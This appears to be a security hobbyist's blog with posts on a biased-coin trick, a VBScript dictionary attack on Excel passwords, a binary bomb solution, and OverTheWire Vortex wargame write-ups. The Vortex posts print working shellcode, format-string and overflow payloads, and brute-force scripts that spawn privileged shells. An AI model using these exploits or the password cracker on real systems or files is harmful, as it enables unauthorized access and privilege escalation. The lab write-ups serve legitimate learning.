Pages

Monday, April 1, 2013

Fair result with biased coin

 This is a nice short question: How can you get fair results from tossing a biased coin ? (but not completely biased though, with a side having 0 probability!). The solution given by von Neumann is as follows:
  1.     Toss the coin twice.
  2.     If the results match, start over, forgetting both results.
  3.     If the results differ, use the first result, forgetting the second.

This produces the correct result because even with this biased coin, the probability of heads then tails is equal to the probability of getting tails then heads. So out of the 4 possible events (H-T, H-H, T-H, T-T) we are left with 2 events with the same probability.

I made a small python script to see how many tries are needed as the probability of the biased faces varies away from 0.5
# Biased coin probability to get heads
p = 0.7

# Simulate the bias
N = 1000000
random.seed()
v = [0] * int(N * p) + [1] * int(N * (1-p))
random.shuffle(v)

# Fair events
cnt = 0
# Total events
ev = 0
 
while cnt<200: 
    idx1 = random.randint(0, N-1)
    idx2 = random.randint(0, N-1)
    
    if(v[idx1] != v[idx2]): 
        cnt +=1 
    ev += 1
    
# For p = 0.5 ev ~= cnt*2     
print "Events needed to get X fair tosses: %d" % (ev)

References
Fair results from a biased coin

Saturday, March 2, 2013

Dictionary attack on Excel passwords

When thinking about the security of encrypted Excel documents, I found a great article analyzing security of encryption algorithms for Excel spreadsheets [1]. The bottom line is that:
  • Encryption in Excel 2007 IS secure only for ".docx". For ".doc" it's NOT secure with default settings
  • Encryption in Excel 2002 and 2003 IS secure, but NOT when used with default settings!
  • Encryption in Excel 95, 97 and 2000 is NOT secure at all.
Instructions on how to make sure you're using the most secure algorithms and how to change the default settings in the referenced link.

How to set/change password to open and password to modify
Changing/removing the password to open a file is pretty straight-forward in Excel 2007-2010: from the File menu, chose Info, then Encrypt with password
Changing the password to modify I found is not so straight-forward. To set/remove a "read-only" password, from the Save or Save As dialog boxes, select General Options from the Tools drop-down menu to open the General Options dialog box. There, in the Password to modify box, you can enter the new password or blank to remove the current one. 

Dictionary attack
If the password is a dictionary word, then it's pretty easy to find it. I've made a small vbs script to attack these 2 passwords (password to open and password to modify)  using words from a dictionary file. This could also be extended to something like the rules in jtr to intelligently guess/brute-force more passwords, based on tendencies (e.g. KoreLogic John rules [3]).
It's just a proof of concept, and it's very slow, it could be extended to use more threads or optimized.
' *****************************************************************
' Dictionary attack on Excel passwords
'
' Uses Workbooks.open method and a password dictionary to test:
' 1) password to open 
' 2) password for write access, using open password
'
' Usage: "CScript excel-pw-attack.vbs  "
'
' Full Description:
' http://insecure.tk/......
' *****************************************************************
Option Explicit
On Error Resume Next

Dim objExcel
Set objExcel = WScript.CreateObject("Excel.Application")
objExcel.visible=False

Dim args
if WScript.Arguments.Count < 2 or WScript.Arguments.Count > 3 then
   WScript.Echo "Usage: "
   WScript.Echo "Search password for open: "
   WScript.Echo "   CScript " & WScript.ScriptName & "  "
   WScript.Echo "Search password for modify, using password to open: "
   WScript.Echo "   CScript " & WScript.ScriptName & "   "
   WScript.Quit 1
end if

' Excel file should be in the script's directory
Dim xlsFile, currentPath
currentPath = replace(WScript.ScriptFullName, WScript.ScriptName, "")
xlsFile = currentPath & WScript.Arguments(0)
WScript.Echo "Brute-forcing excel file: " & xlsFile
WScript.Echo "Using dictionary file: " & WScript.Arguments(1)
if WScript.Arguments.Count = 3 then
 WScript.Echo "Using open password " & WScript.Arguments(2) & " to get the write password"
end if

' Read the passwords from the dictionary file
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")

Dim objFile
Const ForReading = 1
Set objFile = objFSO.OpenTextFile(currentPath & WScript.Arguments(1), ForReading)

Dim currLine, bFound
bFound = False
While Not bFound And Not objFile.AtEndOfStream
 currLine = objFile.ReadLine
 WScript.Echo "[*] Testing solution " & currLine
 if WScript.Arguments.Count = 3 then
  objExcel.Workbooks.Open xlsFile, , , , WScript.Arguments(2), currLine
 else
  ' Try to open it in read-only mode
  objExcel.Workbooks.Open xlsFile, ,True , , currLine
 end if
 if Err.Number >  0 then
  'WScript.Echo Err.Description & Err.Number
  Err.Clear
 else
  bFound = True
  if WScript.Arguments.Count = 3 then
   WScript.Echo "[+] Found password for modifying: " & currLine
  else
   WScript.Echo "[+] Found password for opening: " & currLine
  end if
 end If
Wend

if not bFound then
 if WScript.Arguments.Count = 3 then
  WScript.Echo "[-] Not found password for modifying."
 else
  WScript.Echo "[-] Not found password for opening."
 end if
end if


objExcel.Workbooks.Close
objFile.close
An example of how to use it on a test document with these 2 passwords set:
1. Find password to open:
>cscript excel-pw-attack.vbs test.xls words_en.txt
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
[+] Found password for opening: rock
2. Find password to modify:
>cscript excel-pw-attack.vbs test.xls words_en.txt rock
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
Using open password rock to get the write password
[+] Found password for modifying: paper


Wednesday, February 6, 2013

Defusing a (binary) bomb

     This very good x86 assembly training has a nice final exercise which is a job to defuse  a binary bomb - an executable, without source code, with more phases, each one needing a password.
     I understand that there are many variants of this bomb, so my answer won't fit every bomb, but anyway it's a spoiler, be aware!
     Each level introduces also a programming construction (simple string manipulations, array, functions, cases, linked lists, trees...) so it's very interesting to actually do them and understand them.
    The long version of the solutions is at this project.  The short version below.
I've created a file with commands for easy debugging, and started the bomb like this:

$ gdb -q -x commands bomb
(gdb) run bomb-answers.txt

Phase 1
Here there's a simple string comparison in place
The two strings are compared:
- first one is our input string for the first phase:
(gdb) x /x $ebp+0x8
0xbffff440: 0x0804b680
(gdb) x /s 0x0804b680
0x804b680 &lt;input_strings>: "test"
- and second one is the password for phase_1:
(gdb) x/s 0x80497c0
0x80497c0:    "Public speaking is very easy."

Phase 2
Now 6 numbers are read from into an array, and an algorithm is applied  as follows:
v[0] = 1
v[i] = (i+i) * v[i-1]
So we find the solution of phase 2:
1 2 6 24 120 720

Phase 3
 This expects as input a number, a character and another number:
   0x08048bb1 &lt;+25>: push   0x80497de --> the format string for sscanf, "%d %c %d"
   0x08048bb6 &lt;+30>: push   edx
   0x08048bb7 &lt;+31>: call   0x8048860 &lt;sscanf@plt>
The rest of the disassembled instructions are a case structure, which checks the letter and the second number based on the first value

Phase 4
This phase is more interesting. It introduces a recursive function, which in the end turns out to be a much known one. A-Ha! 
Func4 is as follows:
func4(x):
 if x &lt;= 1 :
  return 1;
 else :
  y = func4(x-1);
  z = func4(x-2);
  return y + z;

Phase 5
In this phase, the input password string is parsed character by character, and each parsed character gives an index into an input string. This way,  final password has to be constructed. 

We have to form the password 'giants' from the source string "isrveawhobpnutfg".
phase_5 function should be something like:
phase_5(s) {
 src = "isrveawhobpnutfg";
 dest = "12345";
 
 for (i=0; i&lt;=5; ++i) {
  idx = s[i] && 0xf; // cuts the most significant hex digit
  dest[i] = src[idx];
 }
}

Phase 6
This was the most difficult to figure out from the assembly code, as it's split into more stages, and involves linked lists structures. Complete details are in the link from beginning. 
6 numbers are read. There is a predefined linked list also. Another important variable used is an array containing addresses of list elements. 
- stage1: check that all 6 numbers read are between [1,..,6] and all different
- stage2: builds and arranges a second array with pointers to list elements
- stage3: fixes the links between elements from the input list to match the array constructed in stage2
- stage4: checks that the elements of the linked list are in reverse sorted order. 

The second stage is the most important: we have to arrange the values of the list elements, so that we can pass stage 4 check (should be in reverse order).
Current order :
func4(x):
(gdb) printf "%08x %08x %08x %08x %08x %08x \n", *0x0804b26c, *0x0804b260, *0x0804b254, *0x0804b248, *0x0804b23c, *0x0804b230
000000fd 000002d5 0000012d 000003e5 000000d4 000001b0 
The pseudo-code for this step could be something like:
   // 2nd stage
 i = 0
 ecx = v[0]
 eax = v2
 y = v2
 while i&lt;=5 : 
  elem = list_head
  elem = head
  j = 1
  edx = i
  if ( j &lt; v[i] ):
   do {
    elem = elem.next
    j ++
   }while (j &lt; v[i])
  v2[i] = elem
  i++
  
This stage builds a list of pointers to elements, which is used in stage 3 and 4.
Using the previously deduced agorithm, the input numbers (0
which mean how much we move an element, to have them in reverse order, should be:
pos 1: 3 (head->next->next->next which is the biggest num)
pos 2: 1 (head->next, which is the second biggest )
. . . and so on.

Because of the advancing algorithm, we add 1 to the previous, and get the solution: 4 2 6 3 1 5

Secret Phase 
In the phase_difused function, we have another function called secret_phase, activated only after first stages are difused:
0x08049533 &lt;+7>: cmp    DWORD PTR ds:0x804b480,0x6    
0x0804953a &lt;+14>: jne    0x804959f &lt;phase_defused+115> 

The passphrase from phase 4 is parsed again, now looking for a string. As we see below, we can get that string and advance:
0x08049544 <+24>: push   0x8049d03   --> "%d %s"    
0x08049549 <+29>: push   0x804b770   --> "9"  this is the input from phase_4    
0x0804954e <+34>: call   0x8048860 <sscanf@plt>    
0x08049553 <+39>: add    esp,0x10    
0x08049556 <+42>: cmp    eax,0x2    
0x08049559 <+45>: jne    0x8049592 <phase_defused+102>    
0x0804955b <+47>: add    esp,0xfffffff8    
0x0804955e <+50>: push   0x8049d09  --> "austinpowers"
0x08049563 <+55>: push   ebx    
0x08049564 <+56>: call   0x8049030 <strings_not_equal> 

We add the password "austinpowers" and get the following 2 messages printed:
Curses, you've found the secret phase!
But finding it and solving it are quite different...  
The secret_phase function calls another function, fun7 (very fun:) with an address and our input as a second parameter.

After digging int othe disassebly, the last fun7 is something like this:
int fun7(int *adr, int x) {
  if(adr == NULL) {
  ret = -1;  // 0xffffffff   
  goto exit;  
 }  
 if (x >= *adr) {
  if (x == *adr) {
   ret = 0   
  } else {
   ret = fun7(*(adr+8), x)
    ret *= 2;
    ret ++;
  }  
 } else {
  ret = fun7(*(adr+4), x)
   ret *= 2
 }  
exit:   
 return ret; 
} 
Initial address passed to the function is 0x804b320. At this address there is a tree with 4 levels, as below. We navigate to the left or right branch depending on the input value.  If input x is equal to value in branch, we return 0.
0x24
0x8 0x32
0x6 0x16 0x2d 0x6b
................................. 0x3e9
We want fun7() to return 7.

7 = 2*3+1 = 2*(2*1+1)+1.
According to the tree and deduced algorothm, we have:
f(0x24) = 0
f(0x32) = 2*f(0x24)+1 = 1
f(0x6b) = 2*f(0x32)+1 = 3
f(0x3e9) = 2*f(0x6b)+1 = 7

0x3e9 is 1001 decimal, and is accepted by the first check (param-1 <= 1000).

End
# ./bomb bomb-answers.txt

Welcome to my fiendish little bomb. You have 6 phases with which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2. Keep going!
Halfway there!
So you got that one. Try this one.
Good work! On to the next...
Curses, you've found the secret phase!
But finding it and solving it are quite different...
Wow! You've defused the secret stage!
Congratulations! You've defused the bomb!
    Thanks to the guys at Open Security Trainings for the interesting materials there!

Thursday, September 20, 2012

OverTheWire Vortex Level 6

For this level, just the binary is available, not the source code. First, we'll download it and study it locally with gdb.
(gdb) set disassembly-flavor intel
(gdb) disassemble main 
Dump of assembler code for function main:
   0x08048446 <+0>: push   ebp
   0x08048447 <+1>: mov    ebp,esp
   0x08048449 <+3>: and    esp,0xfffffff0
   0x0804844c <+6>: sub    esp,0x10
   0x0804844f <+9>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048452 <+12>: mov    eax,DWORD PTR [eax]
   0x08048454 <+14>: test   eax,eax
   0x08048456 <+16>: je     0x8048465 
0x08048458 <+18>: mov eax,DWORD PTR [ebp+0xc] 0x0804845b <+21>: mov eax,DWORD PTR [eax] 0x0804845d <+23>: mov DWORD PTR [esp],eax 0x08048460 <+26>: call 0x8048424 <restart> 0x08048465 <+31>: mov eax,DWORD PTR [ebp+0x10] 0x08048468 <+34>: add eax,0xc 0x0804846b <+37>: mov eax,DWORD PTR [eax] 0x0804846d <+39>: mov DWORD PTR [esp],eax 0x08048470 <+42>: call 0x8048354 <printf@plt> 0x08048475 <+47>: mov DWORD PTR [esp],0x7325 0x0804847c <+54>: call 0x8048334 <_exit@plt> End of assembler dump. (gdb) disassemble restart Dump of assembler code for function restart: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: sub esp,0x18 0x0804842a <+6>: mov DWORD PTR [esp+0x8],0x0 0x08048432 <+14>: mov eax,DWORD PTR [ebp+0x8] 0x08048435 <+17>: mov DWORD PTR [esp+0x4],eax 0x08048439 <+21>: mov eax,DWORD PTR [ebp+0x8] 0x0804843c <+24>: mov DWORD PTR [esp],eax 0x0804843f <+27>: call 0x8048344 @lt;execlp@plt> 0x08048444 <+32>: leave 0x08048445 <+33>: ret End of assembler dump. (gdb)
After the function prologue and aligning stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: (ebp+0x10) and (ebp+0x0c). This article explains basics about stack frames, and the next one details also the stack layout. The stack layout before calling the main function looks like this:
:    :
|    | [ebp + 16] (env - address of env array)
|    | [ebp + 12] (argv - address of argv array)
|    | [ebp + 8]  (argc - number of arguments passed to main)
|    | [ebp + 4]  (return address)
|    | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
:    :
:    :

We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp in our case) with inline assembly from C code compiled with GCC.
#include <stdio .h>

int main() {
    register int ebp asm("ebp");    
    
    char **env = *(char***)(ebp + 16);
    char **argv = *(char ***)(ebp + 12);
    int argc = *(int*)(ebp + 8);
    
    printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
    printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]); 
    printf("[EBP +  8] - Number of arguments (argc): %d\n", argc);
}
And the test wraper:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {

    char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
    char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};

    execve("./layout",arg,env);
}
So we have:
# gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap 
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP +  8] - Number of arguments (argc): 6
# 
Based on that, we see that the vortex6 binary checks the first environment variable, and if it's not NULL executes restart function with argv[0] as parameter. We see that reconstruct() function calls execlp, with first2 arguments the value from **(ebp+8), and the third one NULL. When calling restart function, the stack looks like this:
:    :
|    | [ebp + 12] (2nd argument)
|    | [ebp + 8]  (1st argument)
| RA | [ebp + 4]  (return address)
| FP | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
So wee see that at (ebp + 8) we have its first argument, which is in fact argv[0]. Basically the reconstructed function is:
void restart(char *s) {
    execlp(s,s,NULL);
}
After reconstructing the whole functionality, it's easy to exploit the binary using a simple python wrapper:
import subprocess

argv = ['/bin/sh']

p = subprocess.Popen(argv, executable = './vortex6.bin')        
p.wait()
And tada..
vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****
References:
  1. x86 Disassembly/Functions and Stack Frames


Tuesday, September 18, 2012

OverTheWire Vortex Level 5

This level is a brute-force over a 5 chars MD5 hash. We get the hash from the source code - it is 155fb95d04287b757c996d77b5ea51f7, and with a quick search online, we get the corresponding plain text - rlTf6.
There are lots of online services to crack md5, and there's also Project RainbowCrack which uses the Time-Memory trade-off.
After getting the plain text we can get to the shell:
vortex5@melissa:/vortex$ ./vortex5 
Password: 
6:36
You got the right password, congrats!
$ cat /etc/vortex_pass/vortex6
*****

OverTheWire Vortex Level 4

This level looks like a simple 3 lines program. It's a common format string vulnerability (great references on how to exploit in [1], [3] and [5]):
int main(int argc, char **argv)
{
 if(argc) exit(0);
 printf(argv[3]);
 exit(EXIT_FAILURE);
}
1. First there's a check to bypass: the program exits if the argc variable is different than 0 (if(argc) exit(0);). argc variable represents the length of argv array, which has on the first position the program name (the name appearing on top and like utilities, for example). So argc is always >=1.
If we know how arguments (and environment variables) are passed to the main function when executing the binary,  we can bypass the verification and also pass something meaningful to printf in argv[3] argument.  The stack looks like this:
| argc | argv[0] | argv[1] ... |argv[argc-1]| NULL |env[0]|...|env[n]|NULL|
Where the first NULL indicates the end of the argv array, and the second one the end of the environment variables array. So if we pass NULL as the argv array, when the program tries to access argv[3], it will in fact access env[2], because the stack would look like this (argv[0] points to the NULL byte):
| 0 | NULL | env[0] | env[1] | env[2] | ...
In Python I couldn't call one of the exec functions with argv set to NULL, so I've used the classic method:
char exe[] = "/vortex/vortex4";

char* argv[] = { NULL }; 
char* env[] = {"env0", "env1", "TEST", NULL};

execve(exe, argv, env);
2.  Now we know we have to pass the format string attack into an environment variable. We have to find out the approximate location of the environment variables in the memory. The vortex labs machine has ASLR disabled. We can test with and without ASLR to see the variation of the environment variables' address, using the following simple program:
/* 
 * Test program to find the location of envirnment variables on stack.
 *  - test with/without ASLR
 * 
 * To disable ASLR: 
 * echo 0 > /proc/sys/kernel/randomize_va_space
 * 
 * To enable ASLR:
 * echo 2 > /proc/sys/kernel/randomize_va_space
 * 
 */

#include <stdio .h>

extern char **environ;

/* Return the current stack pointer */
unsigned long find_esp(void){
 // Copy stack pointer into EAX
    __asm__("mov %esp, %eax");
    
    // Return value of the function is in EAX
}

int  main() {
 char **env = NULL;
 
    for (env = environ; *env; ++env)
        printf("%p:\t%s\n", env, *env);

    unsigned long p = find_esp(); 
    printf ("Current stack pointer: Ox%lx\n" , p) ;
        
    return 0;
}

3. We decide an address to overwrite to change the flow of the program. We can use the same trick as in the previous level: replace the address of exit() function in .plt (which is called at the end of the program), which we find by searching relocations sections in the binary:
vortex4@melissa:/vortex$ readelf -r ./vortex4
...
Relocation section '.rel.plt' at offset 0x294 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a004  00000207 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a008  00000307 R_386_JUMP_SLOT   00000000   printf
0804a00c  00000407 R_386_JUMP_SLOT   00000000   exit
4. Plan: place a shellcode (I've used the same 32 bytes I've used in the previous level, setuid+execve) in  the environment variable, with a big NOP sled before (I've used 500 bytes). In the format string before, try to overwrite the address we found above, 0x0804a00c (which I've actually replaced in 4 bytes: 0x0804a00c, 0x0804a00d, 0x0804a00e, 0x0804a00f. A method to overwrite it with only 2 replaces instead of 4 is described in the referred documentation).
This was actually the harder part. I've made a python wrapper over the C wrapper containing execve instruction, that passes (and finally brute-forces) different format strings.
A good exercise is first to try to read memory (using %x or %s instead of %n for writing), to find the actual position of the format string on the stack. This will actually be quite different than the examples from [1]. I actually found that I needed 106 bytes to get to the format string on the stack.
A trick that can be used here: direct parameter access in printf ($), detailed in the Single Unix Specification ([4]). For me, I could access the format string with the following parameter:
fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"
I've adjusted it with fillers ('.'), and tuned the offset untl reach the correct one, 106.
The python script mentioned:
import subprocess

''' 
Script to pass the format string and address to be overwritten to
the vortex 4 wrapper binary
'''

# 4 bytes to be modified (address of exit() in .plt - 0x0804a00c)
addr =  "\x0c\xa0\x04\x08" + \
        "\x0d\xa0\x04\x08" + \
        "\x0e\xa0\x04\x08" + \
        "\x0f\xa0\x04\x08"

# Read it, after many trial and errors
#fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"

for i in range(1, 255):
        for j in range(1, 255):
                fmt = addr + "...." + \
                "%106$n%5$0" + str(i) + "d" + \
                "%107$n%5$0" + str(j) + "d" + \
                "%108$n" + \
                "%109$n"
                print "%d %d fmt: %s: " % (i, j, fmt)
                p = subprocess.Popen(['/tmp/myl4', fmt])
                
                p.wait()
                # Ctrl-D to continue

5. And the C wrapper with execve over vortex4 binary:
/*
 * Wrapper over vortex 4 binary: 
 *  - byapss first argc check
 *  - pass shellcode in environment variable
 *  - receive format string from python wrapper (.. easier) 
 */

#include <stdio .h>
#include <string .h>

/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" 
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" 
        "\x89\xe1\xcd\x80";

char padding[500];
char NOP = '\x90';
int nops = 500;

int main(int argc, char **args) {
 char exe[] = "/vortex/vortex4";
 char sh[600] = {0};
 
 // Fill with lots of NOPs to make sure we reach the shellcode
 memset(padding, NOP, nops);
 
 memcpy(sh, padding, nops);
 memcpy(sh+nops, shellcode, strlen(shellcode));
 
 // argc wil be 0, because argv[0] is not set
 char* argv[] = { NULL }; 
 char* env[] = {"env0", "env1", args[1], sh, NULL};

 execve(exe, argv, env);
 
 return 0;
}
6. Putting all together we get the pass:
vortex4@melissa:/tmp$ vim myl4.c
vortex4@melissa:/tmp$ vim myl4.py
vortex4@melissa:/tmp$ gcc -o myl4 myl4.c
vortex4@melissa:/tmp$ python myl4.py
...
202 33 fmt: 
���....%106$n%5$0202d%107$n%5$033d%108$n%109$n: 
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
*****
Reading:
  1. Exploiting Format String Vulnerabilities - version 1.2 (team teso)
  2. Another solution and explanation
  3. Great detailed explanation of format string vulnerabilities, stackoverflow
  4. Format strings in printf - Single UNIX Specification
  5. Advances in format string exploitation
  6. My solution files

Friday, September 14, 2012

OverTheWire Vortex Level 3

As mentioned in the description, this level is a little bit tricky. We see that we'll put the shellcode in buf variable  with strcpy and the shellcode will require a setuid (LEVEL4_UID), since bash drops effective privileges.


Test a setuid + execve shellcode
I've taken a shellcode that does this from here, and test it from a wrapper function:
/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] =
  "\x6a\x17"              // push $0x17
  "\x58"                  // pop  %eax
  "\x31\xdb"              // xor  %ebx, %ebx
  "\xcd\x80"              // int  $0x80

  "\x31\xd2"              // xor  %edx, %edx  
  "\x6a\x0b"              // push $0xb
  "\x58"                  // pop  %eax
  "\x52"                  // push %edx
  "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
  "\x89\xe3"              // mov  %esp, %ebx
  "\x52"                  // push %edx
  "\x53"                  // push %ebx
  "\x89\xe1"              // mov  %esp, %ecx
  "\xcd\x80";             // int  $0x80

int main() {
 int (*func)();
 func = (int (*)()) shellcode;
 (int)(*func)();

 return 0;
}
And to compile and test:
# gcc test_shell3.c -o test_shell
# ./test_shell 
sh-4.1# 

Bypass StackGuard
The article from [2] describes a bypass method for a situation similar with our code. The idea is that by overflowing buf, we can modify lpp, and with this code ( **lpp = (unsigned long) &buf;) we can place the beginning of the buffer in an address referred to by an address we can control - there's a double indirection.
Let's try to modify the flow with this method, by changing the destructor function, called in the last line of code (exit(0);). To find the address of the destructors:
vortex3@melissa:/vortex$ objdump -s -j .dtors vortex3

vortex3:     file format elf32-i386

Contents of section .dtors:
 804953c ffffffff 00000000                    ........      
As described in [1], the layout of the destructors section is as follows:
0xffffffff <function address> <another function address> ... 0x00000000
So we will change the address of the first function to be called (0x08049540). We need an address to put in the lpp pointer, and that address to point to 0x08049540:
$ gdb vortex3
(gdb) set disassembly-flavor intel
(gdb) disassemble __do_global_dtors_aux 
Dump of assembler code for function __do_global_dtors_aux:
...
   0x08048360 <+16>: mov    eax,ds:0x8049644
   0x08048365 <+21>: mov    ebx,0x8049540
   0x0804836a <+26>: sub    ebx,0x804953c
...
(gdb) x/x 0x08048366
0x8048366 <__do_global_dtors_aux>: 0x08049540
We find 0x08048366, that points to 08049540 (first destructor function). If we manage to place 0x08048366 in the lpp pointer (by overflowing buf), the double indirection in  **lpp = (unsigned long) &buf; line will add the code in buf variable to be executed as a destructor.

Find lpp offset
We'll build the vortex3 source code locally, with added prints to track lpp value after overflowing buf. To reproduce the environment in the vortex labs, we need to disable ASLR (Address Space Layout Randomization) and compile without stack protector:
# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -fno-stack-protector -U_FORTIFY_SOURCE vortex3.c -o vortex3
#
From a Python wrapper, we'll pass the previous shellcode and watch if we set correctly lpp variable after strcpy:
import sys

shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
        "\x89\xe1\xcd\x80"

NOP = "\x90"

if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
    else:
        addr = "\x41\x42\x43\x44"

    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode))  + addr
And we see we can control lpp:
# ./vortex3 `python L3.py`
lpp before: 0x804a024
lpp after: 0x44434241
For the vortex3 binary on vortex labs, there will be a difference (of 4 bytes) on the length of NOP sled needed. That's because the position of lpp variable on the stack differs by 4 bytes.
On vortex labs:
(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>: push   ebp
   0x080483d5 <+1>: mov    ebp,esp
   0x080483d7 <+3>: and    esp,0xfffffff0
   0x080483da <+6>: sub    esp,0xa0
   0x080483e0 <+12>: mov    DWORD PTR [esp+0x9c],0x804963c
   ...
(gdb) x/x 0x804963c
0x804963c <lp>: 0x08049638
And locally:
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048484 <+0>: push   ebp
   0x08048485 <+1>: mov    ebp,esp
   0x08048487 <+3>: and    esp,0xfffffff0
   0x0804848a <+6>: sub    esp,0xa0
   0x08048490 <+12>: mov    DWORD PTR [esp+0x98],0x804a024
   ...
(gdb) x/x 0x804a024
0x804a024 <lp>: 0x0804a020
So, on the vortex labs machine we'll create the python wrapper file in tmp folder, taking into account the NOP sled difference:
import sys

shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
        "\x89\xe1\xcd\x80"

NOP = "\x90"

if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
    else:
        addr = "\x41\x42\x43\x44"

    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode) + 4)  + addr
But, when trying to exploit, we get a segmentation fault:
$ ./vortex3 `python /tmp/myv3.py`
Segmentation fault
That may be because of the subtle reason mentioned on the level description (ctors/dtors might no longer be writable). (Older solutions present online worked because the level was compiled with another gcc version, and overwriting .dtors as suggested in the reading was possible). Anyway, the author gives the suggestion for solving this: "an intelligent bruteforce".

Python brute-forcer
We will only brute force a small part of the address space (16 bytes), because the first 2 bytes of lpp we already know that must be 0x0804. With the following python wrapper we'll generate payloads and pass them to vortex3 binary until we find a shell.  The p.wait() function stops and wait until the program finish executing (in our case the new shell).
import subprocess

# shellcode generating  script
script = "/tmp/myv3.py"

#found good addr = "\x8c\x92\x04\x08"

# Brute force the second part of the address space
for i in range (1, 256):
    for j in range (1, 256):
        addr = "%c%c\x04\x08" % (chr(i), chr (j))
        print "Trying addr: ", "".join('\\x%02x' % ord(c) for c in addr)
        
        # payload = shellcode + addr 
        # payload = `python /tmp/myv3.py "\x41\x42\x43\x44"`
        payload = subprocess.check_output(["python", script, addr])

        # pipe = os.popen("cmd", 'r', bufsize)
        p = subprocess.Popen(['/vortex/vortex3', payload])
        
        # block for successful shell
        p.wait()
(Note:  i and j variables go from 1, not from 0, because 0 is the null character and is not accepted in a shell command, and thus not accepted  by the check_output() function which executes a command.)
The result:
vortex3@melissa:~$ python /tmp/wrapv3.py
...
Trying addr:  \x8c\x91\x04\x08
Trying addr:  \x8c\x92\x04\x08
$ id
uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
*******
$
So we got a correct address that, when put into lpp, runs our shellcode -  \x08\x04\x92\x8c.  To understand what happened, we check the address in gdb:
$ gdb /vortex/vortex3 
(gdb) break main
Breakpoint 1 at 0x80483d7
(gdb) run
Starting program: /vortex/vortex3 

Breakpoint 1, 0x080483d7 in main ()
(gdb) x/x 0x0804928c
0x804928c: 0x0804962c
(gdb) x/x 0x0804962c
0x804962c <_global_offset_table_>: 0x0804830a
(gdb) x/x 0x0804830a
0x804830a <exit@plt+6>: 0x00001868
(gdb) 
So we've actually overwritten the exit function in the .plt section.
This was a nice exercise, at least:)

The scripts mentioned are available here.

 Reading material: